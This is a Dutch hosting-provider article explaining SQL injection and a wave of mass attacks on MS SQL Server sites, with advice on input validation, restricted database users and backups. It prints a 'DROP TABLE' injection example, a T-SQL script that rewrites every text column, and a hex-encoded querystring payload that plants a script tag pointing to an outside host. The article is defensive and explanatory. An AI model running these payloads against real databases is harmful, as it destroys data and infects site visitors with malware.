COMBELL Tech: Beveilig uw code en vermijd SQL injection

Het concept (gekend onder de naam "SQL injection") waarbij hackers uw website misbruiken om controle te krijgen over uw database is geen nieuws. Het feit dat er de laatste weken een ware opflakkering plaatsgevonden heeft is dat wel. Zoals de naam van de term het beschrijft zal de hacker extra SQL code "injecteren" op plaatsen waar dynamische input gebruikt wordt om data op te halen. Een schoolvoorbeeld hiervan is de querystring van een URL waar het ID opgehaald wordt van een record uit de database.

Stel nu dat u op uw site het derde wil ophalen van een bepaalde tabel, dan gebruikt u waarschijnlijk een URL die er als volgt uitziet: http://www.uwsite.extensie/bestand.extensie?id=3 . In uw code zal u de inputparameter "id" verwerken en parsen in een SQL statement. De SQL statement zal er dan ongeveer als volgt uitzien: "SELECT * FROM tabel WHERE id=3". Deze manier van werken is wel functioneel, maar niet zonder risico's: wanneer u geen inputcontrole voorziet kan bezoekers met slechte intenties probleemloos de URL aanpassen om het SQL statement manipuleren. Een voorbeeld: "SELECT * FROM tabel WHERE id=3; DROP TABLE tabel". De tabel in kwestie kan zomaar verwijderd worden door in de inputvariabele "id" de waarde "3; DROP TABLE tabel" te plaatsen in plaats van de verwachte numerieke input.

Mensen die hun SQL code niet genoeg beveiligen ("sanitizing" zoals men dit ook noemt) zullen vroeg of laat tegen de lamp lopen. Via inputcontrole of escaping kan u aanvallen afwenden en de veiligheid van uw databank garanderen. Probeer ook steeds per applicatie een aparte databasegebruiker te voorzien die beperkte rechten heeft. Zo kan u de schade beperken wanneer u het slachtoffer geworden bent van een SQL Injection aanval. Het is misvatting ervan uit te gaan dat het resetten van uw databasewachtwoord een oplossing biedt. Zoals bovenstaand voorbeeld aangaf zal de hacker niet rechtstreeks toegang hebben tot de databank, maar zal men de applicatie als toegangspunt gebruiken zodat enerzijds het wachtwoord niet gekend moet zijn en anderzijds het resetten van het wachtwoord geef effect heeft.

Bovenstaande voorbeeld is vrij klassiek en komt bij alle programmeertalen en databasesystemen voor. Recentelijk is er echter een nieuwe vlaag van aanvallen die zich specifiek richten op applicaties met een Microsoft SQL server database. De voornaamste vaststelling is dat alle tekstvelden van elke tabel waar de databasegebruiker recht op heeft aangepast zijn. In tegenstelling tot andere aanvallen zal dit type aanval geen data uit uw database verwijderen, meer nog, het zal data toevoegen. Mensen die het slachtoffer geworden zijn van deze vorm van SQL injection merken dat er op het einde van elke record een stukje javascript code staat die z'n bron van een andere site haalt zoals volgen voorbeeldje illustreert: .

De motieven van de hackers zijn vrij simpel: ze hopen dat de data in pure vorm verwerkt wordt in de HTML weergave van de site zodat het stukje javascript niet op het scherm verschijnt, maar gewoon verwerkt wordt als javascript en dus niet zichtbaar wordt. De meeste mensen die hierdoor geïnfecteerd zijn merken dit zelf niet meteen omdat er geen zichtbare wijzigingen gebeurd zijn. Meestal komt dit aan het licht wanneer blijkt dat virusscanners waarschuwingen geven bij het bezoeken van de geïnfecteerde site. Op systemen waarbij de internetbrowser dit stukje javascript correct kan verwerken zal er een schadelijk Active-X component geïnstalleerd worden die de controle over uw computer kan overnemen. Op het einde van de rit is het duidelijk dat de SQL injectie geen doel is maar een middel om het component te installeren.

Wat ook opvalt is dat men er telkens in slaagt elke tabel aan te passen terwijl het niet realistisch is dat de hackers uw databasestructuur zo gedetailleerd kennen of gewoon zo goed kunnen gokken. In werkelijkheid maken ze gebruik van de "sysobjects", "syscolumns" en "systypes" systeemtabellen om de nodige informatie te bekomen. Deze informatie overlopen ze in een databasecursor om elk record van elke tabel aan te passen. Volgend voorbeeld illustreert dit:

declare @m varchar(8000);set @m='';select @m=@m+'update['+a.name+']set['+b.name+']=rtrim(convert(varchar,'+b.name+'))+'''';'
from dbo.sysobjects a,dbo.syscolumns b,dbo.systypes c where a.id=b.id and a.xtype='U'and b.xtype=c.xtype and c.name='varchar';
set @m=REVERSE(@m);set @m=substring(@m,PATINDEX('%;%',@m),8000);set @m=REVERSE(@m);exec(@m);

Er bestaan onzettend veel varianten op deze query en ook de locatie van het ".js" bestand kan variëren. Om de query moeilijker detecteerbaar te maken in de webserver logs zullen hackers deze ook vaak encrypteren met het "cast" commando. Zo kan bovenstaande query er als volgt uitzien in de querystring:

s=290';DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x6400650063006C0061007200650
0200040006D00200076006100720063006800610072002800380030003000300029003B007300650
07400200040006D003D00270027003B00730065006C00650063007400200040006D003D0040006D0
02B0027007500700064006100740065005B0027002B0061002E006E0061006D0065002B0027005D0
07300650074005B0027002B0062002E006E0061006D0065002B0027005D003D00720074007200690
06D00280063006F006E007600650072007400280076006100720063006800610072002C0027002B0
062002E006E0061006D0065002B002700290029002B00270027003C0073006300720069007000740
020007300720063003D00220068007400740070003A002F002F0079006C00310038002E006E00650
074002F0030002E006A00730022003E003C002F007300630072006900700074003E00270027003B0
027002000660072006F006D002000640062006F002E007300790073006F0062006A0065006300740
07300200061002C00640062006F002E0073007900730063006F006C0075006D006E0073002000620
02C00640062006F002E0073007900730074007900700065007300200063002000770068006500720
06500200061002E00690064003D0062002E0069006400200061006E006400200061002E007800740
07900700065003D0027005500270061006E006400200062002E00780074007900700065003D00630
02E0078007400790070006500200061006E006400200063002E006E0061006D0065003D002700760
061007200630068006100720027003B00730065007400200040006D003D005200450056004500520
053004500280040006D0029003B00730065007400200040006D003D0073007500620073007400720
069006E006700280040006D002C0050004100540049004E004400450058002800270025003B00250
027002C0040006D0029002C00380030003000300029003B00730065007400200040006D003D00520
0450056004500520053004500280040006D0029003B006500780065006300280040006D0029003B0
0%20AS%20NVARCHAR(4000));EXEC(@S);--

Op zich wordt elk bezoekje naar een website bijgehouden in de webserver log en bevindt ook de querystring die gebruikt wordt zich in de logs. Maar voor iemand die op zoek moet gaan naar mogelijke aanvallen en niet meteen weet op welke sleutelwoorden te filteren is deze encryptie een extra hinderpaal.

Zoals het spreekwoord het zegt is het beter te voorkomen dan genezen. Maar als u niet in staat bent te "voorkomen" dan kan u beroep doen op de SQL backups die bijgehouden worden. Dit betekent wel dat alle data sinds het nemen van de recentste backup verloren is. Mensen die via een omgekeerde query de scripttags eruit proberen te filteren zullen ook teleurgesteld zijn: de originele query is berekend op de veldgrootte. Wanneer de datalengte door het toevoegen van de scripttags de toegestande veldlengte overschrijdt, zal de query karakters op het einde wissen om de volledige scripttag erin te passen. Een omgekeerde query betekent dus in vele gevallen dataverlies. Volgens een artikel op f-secure zijn al meer dan 510.000 entries op google gevonden van sites die door deze vorm van SQL injection geïnfecteerd zijn.

Tot slot verwijzen wij u graag door naar volgende link: http://www.unixwiz.net/techtips/sql-injection.html. Dit artikel bespreekt verschillende vormen van SQL injection en bevat interessante referenties naar andere materiaal over SQL injection.